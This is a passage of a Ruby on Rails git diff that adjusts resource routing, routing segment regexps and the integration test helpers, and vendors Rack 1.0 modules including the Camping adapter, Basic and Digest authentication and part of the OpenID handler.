+ only, except = @allowed_actions.values_at(:only, :except)
+ (!only || only.include?(action)) && (!except || !except.include?(action))
+ end
+
def set_prefixes
@path_prefix = options.delete(:path_prefix)
@name_prefix = options.delete(:name_prefix)
@@ -403,8 +408,6 @@ module ActionController
# # --> POST /posts/1/comments (maps to the CommentsController#create action)
# # --> PUT /posts/1/comments/1 (fails)
#
- # The <tt>:only</tt> and <tt>:except</tt> options are inherited by any nested resource(s).
- #
# If <tt>map.resources</tt> is called with multiple resources, they all get the same options applied.
#
# Examples:
@@ -627,7 +630,7 @@ module ActionController
action_path = resource.options[:path_names][action] if resource.options[:path_names].is_a?(Hash)
action_path ||= Base.resources_path_names[action] || action
- map_resource_routes(map, resource, action, "#{resource.member_path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.shallow_name_prefix}#{resource.singular}", m)
+ map_resource_routes(map, resource, action, "#{resource.member_path}#{resource.action_separator}#{action_path}", "#{action}_#{resource.shallow_name_prefix}#{resource.singular}", m, { :force_id => true })
end
end
end
@@ -638,9 +641,9 @@ module ActionController
map_resource_routes(map, resource, :destroy, resource.member_path, route_path)
end
- def map_resource_routes(map, resource, action, route_path, route_name = nil, method = nil)
+ def map_resource_routes(map, resource, action, route_path, route_name = nil, method = nil, resource_options = {} )
if resource.has_action?(action)
- action_options = action_options_for(action, resource, method)
+ action_options = action_options_for(action, resource, method, resource_options)
formatted_route_path = "#{route_path}.:format"
if route_name && @set.named_routes[route_name.to_sym].nil?
@@ -657,9 +660,10 @@ module ActionController
end
end
- def action_options_for(action, resource, method = nil)
+ def action_options_for(action, resource, method = nil, resource_options = {})
default_options = { :action => action.to_s }
require_id = !resource.kind_of?(SingletonResource)
+ force_id = resource_options[:force_id] && !resource.kind_of?(SingletonResource)
case default_options[:action]
when "index", "new"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements)
@@ -667,7 +671,7 @@ module ActionController
when "show", "edit"; default_options.merge(add_conditions_for(resource.conditions, method || :get)).merge(resource.requirements(require_id))
when "update"; default_options.merge(add_conditions_for(resource.conditions, method || :put)).merge(resource.requirements(require_id))
when "destroy"; default_options.merge(add_conditions_for(resource.conditions, method || :delete)).merge(resource.requirements(require_id))
- else default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements)
+ else default_options.merge(add_conditions_for(resource.conditions, method)).merge(resource.requirements(force_id))
end
end
end
diff --git a/actionpack/lib/action_controller/routing/segments.rb b/actionpack/lib/action_controller/routing/segments.rb
index 5dda3d4d00..4f936d51d2 100644
--- a/actionpack/lib/action_controller/routing/segments.rb
+++ b/actionpack/lib/action_controller/routing/segments.rb
@@ -3,7 +3,11 @@ module ActionController
class Segment #:nodoc:
RESERVED_PCHAR = ':@&=+$,;'
SAFE_PCHAR = "#{URI::REGEXP::PATTERN::UNRESERVED}#{RESERVED_PCHAR}"
- UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze
+ if RUBY_VERSION >= '1.9'
+ UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false).freeze
+ else
+ UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze
+ end
# TODO: Convert :is_optional accessor to read only
attr_accessor :is_optional
@@ -191,23 +195,19 @@ module ActionController
end
def regexp_chunk
- if regexp
- if regexp_has_modifiers?
- "(#{regexp.to_s})"
- else
- "(#{regexp.source})"
- end
- else
- "([^#{Routing::SEPARATORS.join}]+)"
- end
+ regexp ? regexp_string : default_regexp_chunk
+ end
+
+ def regexp_string
+ regexp_has_modifiers? ? "(#{regexp.to_s})" : "(#{regexp.source})"
+ end
+
+ def default_regexp_chunk
+ "([^#{Routing::SEPARATORS.join}]+)"
end
def number_of_captures
- if regexp
- regexp.number_of_captures + 1
- else
- 1
- end
+ regexp ? regexp.number_of_captures + 1 : 1
end
def build_pattern(pattern)
@@ -244,10 +244,6 @@ module ActionController
"(?i-:(#{(regexp || Regexp.union(*possible_names)).source}))"
end
- def number_of_captures
- 1
- end
-
# Don't URI.escape the controller name since it may contain slashes.
def interpolation_chunk(value_code = local_name)
"\#{#{value_code}.to_s}"
@@ -289,8 +285,8 @@ module ActionController
"params[:#{key}] = PathSegment::Result.new_escaped((match[#{next_capture}]#{" || " + default.inspect if default}).split('/'))#{" if match[" + next_capture + "]" if !default}"
end
- def regexp_chunk
- regexp || "(.*)"
+ def default_regexp_chunk
+ "(.*)"
end
def number_of_captures
@@ -322,13 +318,17 @@ module ActionController
end
def regexp_chunk
- '(\.[^/?\.]+)?'
+ '/|(\.[^/?\.]+)?'
end
def to_s
'(.:format)?'
end
-
+
+ def extract_value
+ "#{local_name} = options[:#{key}] && options[:#{key}].to_s.downcase"
+ end
+
#the value should not include the period (.)
def match_extraction(next_capture)
%[
diff --git a/actionpack/lib/action_controller/testing/integration.rb b/actionpack/lib/action_controller/testing/integration.rb
index 0da23f9dc8..d51b9b63ff 100644
--- a/actionpack/lib/action_controller/testing/integration.rb
+++ b/actionpack/lib/action_controller/testing/integration.rb
@@ -5,7 +5,7 @@ require 'active_support/test_case'
module ActionController
module Integration #:nodoc:
# An integration Session instance represents a set of requests and responses
- # performed sequentially by some virtual user. Becase you can instantiate
+ # performed sequentially by some virtual user. Because you can instantiate
# multiple sessions and run them side-by-side, you can also mimic (to some
# limited extent) multiple simultaneous users interacting with your system.
#
@@ -26,6 +26,9 @@ module ActionController
# The status message that accompanied the status code of the last request.
attr_reader :status_message
+ # The body of the last request.
+ attr_reader :body
+
# The URI of the last request.
attr_reader :path
@@ -308,7 +311,11 @@ module ActionController
ActionController::Base.clear_last_instantiation!
- app = Rack::Lint.new(@application)
+ app = @application
+ # Rack::Lint doesn't accept String headers or bodies in Ruby 1.9
+ unless RUBY_VERSION >= '1.9.0' && Rack.release <= '0.9.0'
+ app = Rack::Lint.new(app)
+ end
status, headers, body = app.call(env)
@request_count += 1
@@ -320,13 +327,19 @@ module ActionController
@headers = Rack::Utils::HeaderHash.new(headers)
- (@headers['Set-Cookie'] || []).each do |cookie|
+ (@headers['Set-Cookie'] || "").split("\n").each do |cookie|
name, value = cookie.match(/^([^=]*)=([^;]*);/)[1,2]
@cookies[name] = value
end
- @body = ""
- body.each { |part| @body << part }
+ if body.is_a?(String)
+ @body_parts = [body]
+ @body = body
+ else
+ @body_parts = []
+ body.each { |part| @body_parts << part.to_s }
+ @body = @body_parts.join
+ end
if @controller = ActionController::Base.last_instantiation
@request = @controller.request
@@ -338,7 +351,7 @@ module ActionController
@response = ActionDispatch::Response.new
@response.status = status.to_s
@response.headers.replace(@headers)
- @response.body = @body
+ @response.body = @body_parts
end
# Decorate the response with the standard behavior of the
diff --git a/actionpack/lib/action_controller/testing/process.rb b/actionpack/lib/action_controller/testing/process.rb
index 38e37c7a18..86e193efa9 100644
--- a/actionpack/lib/action_controller/testing/process.rb
+++ b/actionpack/lib/action_controller/testing/process.rb
@@ -1,14 +1,21 @@
+require 'rack/session/abstract/id'
module ActionController #:nodoc:
class TestRequest < ActionDispatch::Request #:nodoc:
attr_accessor :cookies, :session_options
attr_accessor :query_parameters, :path, :session
attr_accessor :host
- def initialize
- super(Rack::MockRequest.env_for("/"))
+ def self.new(env = {})
+ super
+ end
+
+ def initialize(env = {})
+ super(Rack::MockRequest.env_for("/").merge(env))
@query_parameters = {}
@session = TestSession.new
+ default_rack_options = Rack::Session::Abstract::ID::DEFAULT_OPTIONS
+ @session_options ||= {:id => generate_sid(default_rack_options[:sidbits])}.merge(default_rack_options)
initialize_default_values
initialize_containers
@@ -106,6 +113,7 @@ module ActionController #:nodoc:
end
def recycle!
+ @env["action_controller.request.request_parameters"] = {}
self.query_parameters = {}
self.path_parameters = {}
@headers, @request_method, @accepts, @content_type = nil, nil, nil, nil
@@ -116,6 +124,10 @@ module ActionController #:nodoc:
end
private
+ def generate_sid(sidbits)
+ "%0#{sidbits / 4}x" % rand(2**sidbits - 1)
+ end
+
def initialize_containers
@cookies = {}
end
@@ -246,7 +258,7 @@ module ActionController #:nodoc:
def cookies
cookies = {}
Array(headers['Set-Cookie']).each do |cookie|
- key, value = cookie.split(";").first.split("=")
+ key, value = cookie.split(";").first.split("=").map {|val| Rack::Utils.unescape(val)}
cookies[key] = value
end
cookies
@@ -254,11 +266,11 @@ module ActionController #:nodoc:
# Returns binary content (downloadable file), converted to a String
def binary_content
- raise "Response body is not a Proc: #{body.inspect}" unless body.kind_of?(Proc)
+ raise "Response body is not a Proc: #{body_parts.inspect}" unless body_parts.kind_of?(Proc)
require 'stringio'
sio = StringIO.new
- body.call(self, sio)
+ body_parts.call(self, sio)
sio.rewind
sio.read
diff --git a/actionpack/lib/action_controller/testing/test_case.rb b/actionpack/lib/action_controller/testing/test_case.rb
index 4f38f75f41..b020b755a0 100644
--- a/actionpack/lib/action_controller/testing/test_case.rb
+++ b/actionpack/lib/action_controller/testing/test_case.rb
@@ -127,9 +127,14 @@ module ActionController
#
# The exception is stored in the exception accessor for further inspection.
module RaiseActionExceptions
- protected
- attr_accessor :exception
+ def self.included(base)
+ base.class_eval do
+ attr_accessor :exception
+ protected :exception, :exception=
+ end
+ end
+ protected
def rescue_action_without_handler(e)
self.exception = e
@@ -141,9 +146,7 @@ module ActionController
end
end
- def setup
- setup_controller_request_and_response
- end
+ setup :setup_controller_request_and_response
@@controller_class = nil
diff --git a/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb b/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb
index 376bb87409..e2c49c284f 100644
--- a/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb
+++ b/actionpack/lib/action_controller/vendor/html-scanner/html/selector.rb
@@ -556,7 +556,7 @@ module HTML
end
# Attribute value.
- next if statement.sub!(/^\[\s*([[:alpha:]][\w\-]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do |match|
+ next if statement.sub!(/^\[\s*([[:alpha:]][\w\-:]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do |match|
name, equality, value = $1, $2, $3
if value == "?"
value = values.shift
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb
new file mode 100644
index 0000000000..6349b95094
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb
@@ -0,0 +1,89 @@
+# Copyright (C) 2007, 2008, 2009 Christian Neukirchen <purl.org/net/chneukirchen>
+#
+# Rack is freely distributable under the terms of an MIT-style license.
+# See COPYING or http://www.opensource.org/licenses/mit-license.php.
+
+$:.unshift(File.expand_path(File.dirname(__FILE__)))
+
+
+# The Rack main module, serving as a namespace for all core Rack
+# modules and classes.
+#
+# All modules meant for use in your application are <tt>autoload</tt>ed here,
+# so it should be enough just to <tt>require rack.rb</tt> in your code.
+
+module Rack
+ # The Rack protocol version number implemented.
+ VERSION = [0,1]
+
+ # Return the Rack protocol version as a dotted string.
+ def self.version
+ VERSION.join(".")
+ end
+
+ # Return the Rack release as a dotted string.
+ def self.release
+ "1.0 bundled"
+ end
+
+ autoload :Builder, "rack/builder"
+ autoload :Cascade, "rack/cascade"
+ autoload :Chunked, "rack/chunked"
+ autoload :CommonLogger, "rack/commonlogger"
+ autoload :ConditionalGet, "rack/conditionalget"
+ autoload :ContentLength, "rack/content_length"
+ autoload :ContentType, "rack/content_type"
+ autoload :File, "rack/file"
+ autoload :Deflater, "rack/deflater"
+ autoload :Directory, "rack/directory"
+ autoload :ForwardRequest, "rack/recursive"
+ autoload :Handler, "rack/handler"
+ autoload :Head, "rack/head"
+ autoload :Lint, "rack/lint"
+ autoload :Lock, "rack/lock"
+ autoload :MethodOverride, "rack/methodoverride"
+ autoload :Mime, "rack/mime"
+ autoload :Recursive, "rack/recursive"
+ autoload :Reloader, "rack/reloader"
+ autoload :ShowExceptions, "rack/showexceptions"
+ autoload :ShowStatus, "rack/showstatus"
+ autoload :Static, "rack/static"
+ autoload :URLMap, "rack/urlmap"
+ autoload :Utils, "rack/utils"
+
+ autoload :MockRequest, "rack/mock"
+ autoload :MockResponse, "rack/mock"
+
+ autoload :Request, "rack/request"
+ autoload :Response, "rack/response"
+
+ module Auth
+ autoload :Basic, "rack/auth/basic"
+ autoload :AbstractRequest, "rack/auth/abstract/request"
+ autoload :AbstractHandler, "rack/auth/abstract/handler"
+ autoload :OpenID, "rack/auth/openid"
+ module Digest
+ autoload :MD5, "rack/auth/digest/md5"
+ autoload :Nonce, "rack/auth/digest/nonce"
+ autoload :Params, "rack/auth/digest/params"
+ autoload :Request, "rack/auth/digest/request"
+ end
+ end
+
+ module Session
+ autoload :Cookie, "rack/session/cookie"
+ autoload :Pool, "rack/session/pool"
+ autoload :Memcache, "rack/session/memcache"
+ end
+
+ # *Adapters* connect Rack with third party web frameworks.
+ #
+ # Rack includes an adapter for Camping, see README for other
+ # frameworks supporting Rack in their code bases.
+ #
+ # Refer to the submodules for framework-specific calling details.
+
+ module Adapter
+ autoload :Camping, "rack/adapter/camping"
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/adapter/camping.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/adapter/camping.rb
new file mode 100644
index 0000000000..63bc787f54
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/adapter/camping.rb
@@ -0,0 +1,22 @@
+module Rack
+ module Adapter
+ class Camping
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ env["PATH_INFO"] ||= ""
+ env["SCRIPT_NAME"] ||= ""
+ controller = @app.run(env['rack.input'], env)
+ h = controller.headers
+ h.each_pair do |k,v|
+ if v.kind_of? URI
+ h[k] = v.to_s
+ end
+ end
+ [controller.status, controller.headers, [controller.body.to_s]]
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/handler.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/handler.rb
new file mode 100644
index 0000000000..214df6299e
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/handler.rb
@@ -0,0 +1,37 @@
+module Rack
+ module Auth
+ # Rack::Auth::AbstractHandler implements common authentication functionality.
+ #
+ # +realm+ should be set for all handlers.
+
+ class AbstractHandler
+
+ attr_accessor :realm
+
+ def initialize(app, realm=nil, &authenticator)
+ @app, @realm, @authenticator = app, realm, authenticator
+ end
+
+
+ private
+
+ def unauthorized(www_authenticate = challenge)
+ return [ 401,
+ { 'Content-Type' => 'text/plain',
+ 'Content-Length' => '0',
+ 'WWW-Authenticate' => www_authenticate.to_s },
+ []
+ ]
+ end
+
+ def bad_request
+ return [ 400,
+ { 'Content-Type' => 'text/plain',
+ 'Content-Length' => '0' },
+ []
+ ]
+ end
+
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/request.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/request.rb
new file mode 100644
index 0000000000..1d9ccec685
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/request.rb
@@ -0,0 +1,37 @@
+module Rack
+ module Auth
+ class AbstractRequest
+
+ def initialize(env)
+ @env = env
+ end
+
+ def provided?
+ !authorization_key.nil?
+ end
+
+ def parts
+ @parts ||= @env[authorization_key].split(' ', 2)
+ end
+
+ def scheme
+ @scheme ||= parts.first.downcase.to_sym
+ end
+
+ def params
+ @params ||= parts.last
+ end
+
+
+ private
+
+ AUTHORIZATION_KEYS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION']
+
+ def authorization_key
+ @authorization_key ||= AUTHORIZATION_KEYS.detect { |key| @env.has_key?(key) }
+ end
+
+ end
+
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/basic.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/basic.rb
new file mode 100644
index 0000000000..9557224648
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/basic.rb
@@ -0,0 +1,58 @@
+require 'rack/auth/abstract/handler'
+require 'rack/auth/abstract/request'
+
+module Rack
+ module Auth
+ # Rack::Auth::Basic implements HTTP Basic Authentication, as per RFC 2617.
+ #
+ # Initialize with the Rack application that you want protecting,
+ # and a block that checks if a username and password pair are valid.
+ #
+ # See also: <tt>example/protectedlobster.rb</tt>
+
+ class Basic < AbstractHandler
+
+ def call(env)
+ auth = Basic::Request.new(env)
+
+ return unauthorized unless auth.provided?
+
+ return bad_request unless auth.basic?
+
+ if valid?(auth)
+ env['REMOTE_USER'] = auth.username
+
+ return @app.call(env)
+ end
+
+ unauthorized
+ end
+
+
+ private
+
+ def challenge
+ 'Basic realm="%s"' % realm
+ end
+
+ def valid?(auth)
+ @authenticator.call(*auth.credentials)
+ end
+
+ class Request < Auth::AbstractRequest
+ def basic?
+ :basic == scheme
+ end
+
+ def credentials
+ @credentials ||= params.unpack("m*").first.split(/:/, 2)
+ end
+
+ def username
+ credentials.first
+ end
+ end
+
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/md5.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/md5.rb
new file mode 100644
index 0000000000..e579dc9632
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/md5.rb
@@ -0,0 +1,124 @@
+require 'rack/auth/abstract/handler'
+require 'rack/auth/digest/request'
+require 'rack/auth/digest/params'
+require 'rack/auth/digest/nonce'
+require 'digest/md5'
+
+module Rack
+ module Auth
+ module Digest
+ # Rack::Auth::Digest::MD5 implements the MD5 algorithm version of
+ # HTTP Digest Authentication, as per RFC 2617.
+ #
+ # Initialize with the [Rack] application that you want protecting,
+ # and a block that looks up a plaintext password for a given username.
+ #
+ # +opaque+ needs to be set to a constant base64/hexadecimal string.
+ #
+ class MD5 < AbstractHandler
+
+ attr_accessor :opaque
+
+ attr_writer :passwords_hashed
+
+ def initialize(*args)
+ super
+ @passwords_hashed = nil
+ end
+
+ def passwords_hashed?
+ !!@passwords_hashed
+ end
+
+ def call(env)
+ auth = Request.new(env)
+
+ unless auth.provided?
+ return unauthorized
+ end
+
+ if !auth.digest? || !auth.correct_uri? || !valid_qop?(auth)
+ return bad_request
+ end
+
+ if valid?(auth)
+ if auth.nonce.stale?
+ return unauthorized(challenge(:stale => true))
+ else
+ env['REMOTE_USER'] = auth.username
+
+ return @app.call(env)
+ end
+ end
+
+ unauthorized
+ end
+
+
+ private
+
+ QOP = 'auth'.freeze
+
+ def params(hash = {})
+ Params.new do |params|
+ params['realm'] = realm
+ params['nonce'] = Nonce.new.to_s
+ params['opaque'] = H(opaque)
+ params['qop'] = QOP
+
+ hash.each { |k, v| params[k] = v }
+ end
+ end
+
+ def challenge(hash = {})
+ "Digest #{params(hash)}"
+ end
+
+ def valid?(auth)
+ valid_opaque?(auth) && valid_nonce?(auth) && valid_digest?(auth)
+ end
+
+ def valid_qop?(auth)
+ QOP == auth.qop
+ end
+
+ def valid_opaque?(auth)
+ H(opaque) == auth.opaque
+ end
+
+ def valid_nonce?(auth)
+ auth.nonce.valid?
+ end
+
+ def valid_digest?(auth)
+ digest(auth, @authenticator.call(auth.username)) == auth.response
+ end
+
+ def md5(data)
+ ::Digest::MD5.hexdigest(data)
+ end
+
+ alias :H :md5
+
+ def KD(secret, data)
+ H([secret, data] * ':')
+ end
+
+ def A1(auth, password)
+ [ auth.username, auth.realm, password ] * ':'
+ end
+
+ def A2(auth)
+ [ auth.method, auth.uri ] * ':'
+ end
+
+ def digest(auth, password)
+ password_hash = passwords_hashed? ? password : H(A1(auth, password))
+
+ KD(password_hash, [ auth.nonce, auth.nc, auth.cnonce, QOP, H(A2(auth)) ] * ':')
+ end
+
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/nonce.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/nonce.rb
new file mode 100644
index 0000000000..dbe109f29a
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/nonce.rb
@@ -0,0 +1,51 @@
+require 'digest/md5'
+
+module Rack
+ module Auth
+ module Digest
+ # Rack::Auth::Digest::Nonce is the default nonce generator for the
+ # Rack::Auth::Digest::MD5 authentication handler.
+ #
+ # +private_key+ needs to set to a constant string.
+ #
+ # +time_limit+ can be optionally set to an integer (number of seconds),
+ # to limit the validity of the generated nonces.
+
+ class Nonce
+
+ class << self
+ attr_accessor :private_key, :time_limit
+ end
+
+ def self.parse(string)
+ new(*string.unpack("m*").first.split(' ', 2))
+ end
+
+ def initialize(timestamp = Time.now, given_digest = nil)
+ @timestamp, @given_digest = timestamp.to_i, given_digest
+ end
+
+ def to_s
+ [([ @timestamp, digest ] * ' ')].pack("m*").strip
+ end
+
+ def digest
+ ::Digest::MD5.hexdigest([ @timestamp, self.class.private_key ] * ':')
+ end
+
+ def valid?
+ digest == @given_digest
+ end
+
+ def stale?
+ !self.class.time_limit.nil? && (@timestamp - Time.now.to_i) < self.class.time_limit
+ end
+
+ def fresh?
+ !stale?
+ end
+
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/params.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/params.rb
new file mode 100644
index 0000000000..730e2efdc8
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/params.rb
@@ -0,0 +1,55 @@
+module Rack
+ module Auth
+ module Digest
+ class Params < Hash
+
+ def self.parse(str)
+ split_header_value(str).inject(new) do |header, param|
+ k, v = param.split('=', 2)
+ header[k] = dequote(v)
+ header
+ end
+ end
+
+ def self.dequote(str) # From WEBrick::HTTPUtils
+ ret = (/\A"(.*)"\Z/ =~ str) ? $1 : str.dup
+ ret.gsub!(/\\(.)/, "\\1")
+ ret
+ end
+
+ def self.split_header_value(str)
+ str.scan( /(\w+\=(?:"[^\"]+"|[^,]+))/n ).collect{ |v| v[0] }
+ end
+
+ def initialize
+ super
+
+ yield self if block_given?
+ end
+
+ def [](k)
+ super k.to_s
+ end
+
+ def []=(k, v)
+ super k.to_s, v.to_s
+ end
+
+ UNQUOTED = ['qop', 'nc', 'stale']
+
+ def to_s
+ inject([]) do |parts, (k, v)|
+ parts << "#{k}=" + (UNQUOTED.include?(k) ? v.to_s : quote(v))
+ parts
+ end.join(', ')
+ end
+
+ def quote(str) # From WEBrick::HTTPUtils
+ '"' << str.gsub(/[\\\"]/o, "\\\1") << '"'
+ end
+
+ end
+ end
+ end
+end
+
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/request.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/request.rb
new file mode 100644
index 0000000000..a8aa3bf996
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/digest/request.rb
@@ -0,0 +1,40 @@
+require 'rack/auth/abstract/request'
+require 'rack/auth/digest/params'
+require 'rack/auth/digest/nonce'
+
+module Rack
+ module Auth
+ module Digest
+ class Request < Auth::AbstractRequest
+
+ def method
+ @env['rack.methodoverride.original_method'] || @env['REQUEST_METHOD']
+ end
+
+ def digest?
+ :digest == scheme
+ end
+
+ def correct_uri?
+ (@env['SCRIPT_NAME'].to_s + @env['PATH_INFO'].to_s) == uri
+ end
+
+ def nonce
+ @nonce ||= Nonce.parse(params['nonce'])
+ end
+
+ def params
+ @params ||= Params.parse(parts.last)
+ end
+
+ def method_missing(sym)
+ if params.has_key? key = sym.to_s
+ return params[key]
+ end
+ super
+ end
+
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/openid.rb b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/openid.rb
new file mode 100644
index 0000000000..c5f6a5143e
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/openid.rb
@@ -0,0 +1,480 @@
+# AUTHOR: blink <blinketje@gmail.com>; blink#ruby-lang@irc.freenode.net
+
+gem 'ruby-openid', '~> 2' if defined? Gem
+require 'rack/request'
+require 'rack/utils'
+require 'rack/auth/abstract/handler'
+require 'uri'
+require 'openid' #gem
+require 'openid/extension' #gem
+require 'openid/store/memory' #gem
+
+module Rack
+ class Request
+ def openid_request
+ @env['rack.auth.openid.request']
+ end
+
+ def openid_response
+ @env['rack.auth.openid.response']
+ end
+ end
+
+ module Auth
+
+ # Rack::Auth::OpenID provides a simple method for setting up an OpenID
+ # Consumer. It requires the ruby-openid library from janrain to operate,
+ # as well as a rack method of session management.
+ #
+ # The ruby-openid home page is at http://openidenabled.com/ruby-openid/.
+ #
+ # The OpenID specifications can be found at
+ # http://openid.net/specs/openid-authentication-1_1.html
+ # and
+ # http://openid.net/specs/openid-authentication-2_0.html. Documentation
+ # for published OpenID extensions and related topics can be found at
+ # http://openid.net/developers/specs/.
+ #
+ # It is recommended to read through the OpenID spec, as well as
+ # ruby-openid's documentation, to understand what exactly goes on. However
+ # a setup as simple as the presented examples is enough to provide
+ # Consumer functionality.
+ #
+ # This library strongly intends to utilize the OpenID 2.0 features of the
+ # ruby-openid library, which provides OpenID 1.0 compatiblity.
+ #
+ # NOTE: Due to the amount of data that this library stores in the
+ # session, Rack::Session::Cookie may fault.
+
+ class OpenID
+
+ class NoSession < RuntimeError; end
+ class BadExtension < RuntimeError; end
+ # Required for ruby-openid
+ ValidStatus = [:success, :setup_needed, :cancel, :failure]
+
+ # = Arguments
+ #
+ # The first argument is the realm, identifying the site they are trusting
+ # with their identity. This is required, also treated as the trust_root
+ # in OpenID 1.x exchanges.
+ #
+ # The optional second argument is a hash of options.
+ #
+ # == Options
+ #
+ # <tt>:return_to</tt> defines the url to return to after the client
+ # authenticates with the openid service provider. This url should point
+ # to where Rack::Auth::OpenID is mounted. If <tt>:return_to</tt> is not
+ # provided, return_to will be the current url which allows flexibility
+ # with caveats.
+ #
+ # <tt>:session_key</tt> defines the key to the session hash in the env.
+ # It defaults to 'rack.session'.
+ #
+ # <tt>:openid_param</tt> defines at what key in the request parameters to
+ # find the identifier to resolve. As per the 2.0 spec, the default is
+ # 'openid_identifier'.
+ #
+ # <tt>:store</tt> defined what OpenID Store to use for persistant
+ # information. By default a Store::Memory will be used.
+ #
+ # <tt>:immediate</tt> as true will make initial requests to be of an
+ # immediate type. This is false by default. See OpenID specification
+ # documentation.
+ #
+ # <tt>:extensions</tt> should be a hash of openid extension
+ # implementations. The key should be the extension main module, the value
+ # should be an array of arguments for extension::Request.new.
+ # The hash is iterated over and passed to #add_extension for processing.
+ # Please see #add_extension for further documentation.
+ #
+ # == Examples
+ #
+ # simple_oid = OpenID.new('http://mysite.com/')
+ #
+ # return_oid = OpenID.new('http://mysite.com/', {
+ # :return_to => 'http://mysite.com/openid'
+ # })
+ #
+ # complex_oid = OpenID.new('http://mysite.com/',
+ # :immediate => true,
+ # :extensions => {
+ # ::OpenID::SReg => [['email'],['nickname']]
+ # }
+ # )
+ #
+ # = Advanced
+ #
+ # Most of the functionality of this library is encapsulated such that
+ # expansion and overriding functions isn't difficult nor tricky.
+ # Alternately, to avoid opening up singleton objects or subclassing, a
+ # wrapper rack middleware can be composed to act upon Auth::OpenID's
+ # responses. See #check and #finish for locations of pertinent data.
+ #
+ # == Responses
+ #
+ # To change the responses that Auth::OpenID returns, override the methods
+ # #redirect, #bad_request, #unauthorized, #access_denied, and
+ # #foreign_server_failure.
+ #
+ # Additionally #confirm_post_params is used when the URI would exceed
+ # length limits on a GET request when doing the initial verification
+ # request.
+ #
+ # == Processing
+ #
+ # To change methods of processing completed transactions, override the
+ # methods #success, #setup_needed, #cancel, and #failure. Please ensure
+ # the returned object is a rack compatible response.
+ #
+ # The first argument is an OpenID::Response, the second is a
+ # Rack::Request of the current request, the last is the hash used in
+ # ruby-openid handling, which can be found manually at
+ # env['rack.session'][:openid].
+ #
+ # This is useful if you wanted to expand the processing done, such as
+ # setting up user accounts.
+ #
+ # oid_app = Rack::Auth::OpenID.new realm, :return_to => return_to
+ # def oid_app.success oid, request, session
+ # user = Models::User[oid.identity_url]
+ # user ||= Models::User.create_from_openid oid
+ # request['rack.session'][:user] = user.id
+ # redirect MyApp.site_home
+ # end
+ #
+ # site_map['/openid'] = oid_app
+ # map = Rack::URLMap.new site_map
+ # ...
+
+ def initialize(realm, options={})
+ realm = URI(realm)
+ raise ArgumentError, "Invalid realm: #{realm}" \
+ unless realm.absolute? \
+ and realm.fragment.nil? \
+ and realm.scheme =~ /^https?$/ \
+ and realm.host =~ /^(\*\.)?#{URI::REGEXP::PATTERN::URIC_NO_SLASH}+/
+ realm.path = '/' if realm.path.empty?
+ @realm = realm.to_s
+
+ if ruri = options[:return_to]
+ ruri = URI(ruri)
+ raise ArgumentError, "Invalid return_to: #{ruri}" \
+ unless ruri.absolute? \
+ and ruri.scheme =~ /^https?$/ \
+ and ruri.fragment.nil?
+ raise ArgumentError, "return_to #{ruri} not within realm #{realm}" \
+ unless self.within_realm?(ruri)
+ @return_to = ruri.to_s
+ end
+
+ @session_key = options[:session_key] || 'rack.session'
+ @openid_param = options[:openid_param] || 'openid_identifier'
+ @store = options[:store] || ::OpenID::Store::Memory.new
+ @immediate = !!options[:immediate]
+
+ @extensions = {}
+ if extensions = options.delete(:extensions)
+ extensions.each do |ext, args|
+ add_extension ext, *args
+ end
+ end
+
+ # Undocumented, semi-experimental
+ @anonymous = !!options[:anonymous]
+ end
+
